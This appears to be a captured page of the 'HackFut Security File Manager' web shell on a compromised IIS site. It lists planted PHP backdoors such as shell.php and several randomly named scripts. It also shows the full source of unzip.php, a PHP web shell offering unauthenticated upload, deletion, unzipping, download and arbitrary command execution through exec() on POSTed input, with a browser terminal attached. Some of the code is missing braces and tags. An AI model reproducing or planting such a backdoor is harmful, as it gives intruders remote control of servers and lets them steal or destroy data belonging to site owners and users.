HackFut File Manager

HackFut Security File Manager

Current Path: C:\inetpub\vhosts\omrumdenizkilic.online\mertmemduhderici.com.tr

Command Execution

C: / inetpub / vhosts / omrumdenizkilic.online / mertmemduhderici.com.tr /

📁 -
📄 ..(0 B)
📄 .htaccess(92 B)
📄 1.php(677.09 KB)
📄 arnrz.php(26.96 KB)
📄 frggu.php(26.96 KB)
📄 index.html(349 B)
📄 index.php(4.44 KB)
📄 m.php(523 B)
📄 manager.php(4.44 KB)
📄 megan.php(1.85 KB)
📄 prvxu.php(26.96 KB)
📄 pu9.php(2.13 KB)
📁 public
📄 pxcki.php(26.96 KB)
📄 shell.php(830 B)
📄 unzip.php(9.49 KB)
📄 web.config(233 B)
📁 xfini
📄 xfinity.zip(720.29 KB)
📄 xmert.php(2.36 KB)

Editing: unzip.php

<?php

// Base directory

$base_dir = __DIR__;

// Get the current directory

$current_dir = isset($_GET['path']) ? realpath($base_dir . '/' . $_GET['path']) : $base_dir;

// Validate the current directory

if (strpos($current_dir, $base_dir) !== 0) {

$current_dir = $base_dir;

}

// Handle file upload

if (isset($_FILES['file'])) {

$upload_file = $current_dir . '/' . basename($_FILES['file']['name']);

if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {

echo "<center><div class='alertsuccess'>File uploaded successfully: " . htmlspecialchars($_FILES['file']['name']) . "</div></center>";

} else {

echo "<center><div class='alerterror'>Failed to upload file.</div></center>";

}

// Handle file delete

if (isset($_GET['delete'])) {

$delete_path = realpath($current_dir . '/' . $_GET['delete']);

if (strpos($delete_path, $base_dir) === 0) {

if (is_dir($delete_path)) {

rmdir_recursive($delete_path);

} else {

unlink($delete_path);

}

header("Location: ?path=" . urlencode(str_replace($base_dir, '', $current_dir)));

exit;

}

// Recursive delete for folders

function rmdir_recursive($dir) {

foreach (scandir($dir) as $file) {

if ($file !== '.' && $file !== '..') {

$path = $dir . '/' . $file;

if (is_dir($path)) {

rmdir_recursive($path);

} else {

unlink($path);

}

rmdir($dir);

}

// Handle unzip

if (isset($_GET['unzip'])) {

$zip_path = realpath($current_dir . '/' . $_GET['unzip']);

if (strpos($zip_path, $base_dir) === 0 && pathinfo($zip_path, PATHINFO_EXTENSION) === 'zip') {

$zip = new ZipArchive;

if ($zip->open($zip_path) === true) {

$zip->extractTo($current_dir);

$zip->close();

}

header("Location: ?path=" . urlencode(str_replace($base_dir, '', $current_dir)));

exit;

}

// Handle file download

if (isset($_GET['download'])) {

$download_path = realpath($current_dir . '/' . $_GET['download']);

if (strpos($download_path, $base_dir) === 0 && is_file($download_path)) {

header('Content-Description: File Transfer');

header('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; filename="' . basename($download_path) . '"');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

header('Content-Length: ' . filesize($download_path));

readfile($download_path);

exit;

} else {

echo "<div class='alert error'>File not found or invalid path.</div>";

}

// Command execution (via AJAX)

if (isset($_POST['command'])) {

chdir($current_dir); // Change to the current directory

$command = $_POST['command'];

$output = [];

$status = 0;

exec($command . ' 2>&1', $output, $status); // Capture both stdout and stderr

echo nl2br(htmlspecialchars(implode("\n", $output))); // Send formatted output

exit;

}

// List files

$files = scandir($current_dir);

<!DOCTYPE html>

<head>

<title>PHP File Manager</title>

<style>

.alertsuccess {color:white;font-family: Arial, sans-serif; background-color:rgb(3, 177, 3); margin: 0; padding: 20px;}

.alerterror {color:white;font-family: Arial, sans-serif; background-color:rgb(177, 3, 3); margin: 0; padding: 20px;}

body { font-family: Arial, sans-serif; background-color: #f4f4f9; margin: 0; padding: 0; }

.container { max-width: 800px; margin: 20px auto; padding: 20px; background-color: white; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }

h2 { text-align: center; }

ul { list-style: none; padding: 0; }

li { margin: 5px 0; padding: 10px; background-color: #f9f9f9; border-radius: 4px; display: flex; justify-content: space-between; align-items: center; }

li a { text-decoration: none; color: #007bff; }

li a:hover { text-decoration: underline; }

.actions a { margin-left: 10px; color: red; text-decoration: none; }

.actions a:hover { color: darkred; }

form { text-align: center; margin-bottom: 20px; }

input[type="file"] { margin-right: 10px; }

.button { display: block; margin: 20px auto; padding: 10px 20px; background: #007bff; color: #fff; border: none; border-radius: 5px; cursor: pointer; }

.button:hover { background: #0056b3; }

.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.7); backdrop-filter: blur(2px); justify-content: center; align-items: center; }

.modal-content { background: #121212; padding: 40px; border-radius: 8px; max-width: 600px; width: 90%; color: #33ff33; font-family: 'Courier New', monospace; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.5); border: 1px solid #33ff33; }

.modal-content .close { color:rgb(202, 18, 12); font-size: 24px; cursor: pointer; position: absolute; top: 10px; right: 15px; }

#commandInput { background: black; color: #33ff33; font-family: 'Courier New', monospace; width: 96%; padding: 10px; border: 1px solid #33ff33; border-radius: 5px; outline: none; margin-top: 15px; }

#commandInput::placeholder { color: #1aff1a; } .command-output { max-height: 300px; overflow-y: auto; background: #000; padding: 10px; border-radius: 5px; border: 1px solid #33ff33; margin-bottom: 15px; }

.close { float: right; font-size: 24px; cursor: pointer; }

.command-output { margin-top: 10px; padding: 40px; background: black; border-radius: 5px; color: #33ff33; white-space: pre-wrap; font-family: 'Courier New', monospace; overflow-y: auto; max-height: 300px; }

input[type="text"] { padding: 10px; width: 100%; margin-bottom: 10px; background: #222; color: white; border: 1px solid #333; font-family: 'Courier New', monospace; font-size: 16px; }

</style>

</head>

<body>

<h2>PHP File Manager</h2>

<p><strong>Current Directory:</strong> <?php echo htmlspecialchars($current_dir); ?></p>

<button type="submit">Upload</button>

</form>

<button class="button" onclick="showModal()">Open Terminal</button>

<ul>

<?php foreach ($files as $file): ?>

<?php if ($file !== '.' && $file !== '..'): ?>

<li>

<?php if (is_dir($current_dir . '/' . $file)): ?>

📂 <?php echo htmlspecialchars($file); ?>

</a>

<?php else: ?>

📄 <?php echo htmlspecialchars($file); ?>

</a>

<?php endif; ?>

<a href="?path=<?php echo urlencode(str_replace($base_dir, '', $current_dir)); ?>&delete=<?php echo urlencode($file); ?>" title="Delete">🗑️</a>

<?php if (pathinfo($file, PATHINFO_EXTENSION) === 'zip'): ?>

<a href="?path=<?php echo urlencode(str_replace($base_dir, '', $current_dir)); ?>&unzip=<?php echo urlencode($file); ?>" title="Unzip">📦</a>

<?php endif; ?>

</span>

</li>

<?php endif; ?>

<?php endforeach; ?>

</ul>

</div>

<span class="close" onclick="hideModal()">&times;</span>

</div>

function showModal() {

document.getElementById('commandModal').style.display = 'flex';

}

function hideModal() {

document.getElementById('commandModal').style.display = 'none';

}

document.getElementById('commandInput').addEventListener('keydown', function(event) {

if (event.key === 'Enter') {

event.preventDefault();

const command = event.target.value;

const terminalOutput = document.getElementById('terminalOutput');

terminalOutput.innerHTML += `<div>$ ${command}</div>`;

event.target.value = '';

fetch('', {

method: 'POST',

headers: { 'Content-Type': 'application/x-www-form-urlencoded' },

body: `command=${encodeURIComponent(command)}`

})

.then(response => response.text())

.then(output => {

terminalOutput.innerHTML += `<pre>${output}</pre>`;

terminalOutput.scrollTop = terminalOutput.scrollHeight; // Auto-scroll to bottom

});

}

});

</script>

</body>

</html>

HackFut Security File Manager

Command Execution

Editing: unzip.php

Upload File

Create Folder